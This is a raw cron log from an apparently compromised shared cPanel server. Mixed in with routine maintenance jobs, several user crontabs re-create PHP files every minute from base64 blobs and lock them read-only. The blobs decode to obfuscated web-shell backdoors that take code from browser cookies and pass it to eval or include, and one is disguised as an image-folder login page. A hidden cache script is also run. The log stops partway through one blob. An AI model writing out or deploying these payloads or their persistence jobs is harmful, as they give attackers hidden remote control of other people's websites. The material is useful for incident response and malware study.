Mar  1 15:50:02 medusa CROND[10128]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:50:02 medusa CROND[10129]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 15:50:02 medusa CROND[10130]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:50:02 medusa CROND[10133]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:50:02 medusa CROND[10135]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:50:02 medusa CROND[10126]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 15:50:02 medusa CROND[10139]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 15:50:02 medusa CROND[10142]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:50:02 medusa CROND[10145]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:50:02 medusa CROND[10149]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:50:02 medusa CROND[10152]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 15:50:02 medusa CROND[10148]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:50:02 medusa CROND[10146]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 15:50:02 medusa CROND[10140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:50:02 medusa CROND[10141]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 15:50:02 medusa CROND[10136]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 15:50:02 medusa CROND[10166]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 15:50:02 medusa CROND[10172]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:50:02 medusa CROND[10174]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:50:02 medusa CROND[10131]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 15:51:01 medusa CROND[32469]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:51:01 medusa CROND[32600]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 15:51:01 medusa CROND[32601]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:51:01 medusa CROND[32602]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:51:01 medusa CROND[32603]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:51:01 medusa CROND[32604]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:51:01 medusa CROND[32607]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 15:51:01 medusa CROND[32608]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:51:01 medusa CROND[32609]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:51:01 medusa CROND[32610]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:51:01 medusa CROND[32611]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:51:01 medusa CROND[32614]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:51:01 medusa CROND[32621]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 15:51:01 medusa CROND[32624]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:51:01 medusa CROND[32642]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 15:52:01 medusa CROND[22801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:52:01 medusa CROND[22802]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3h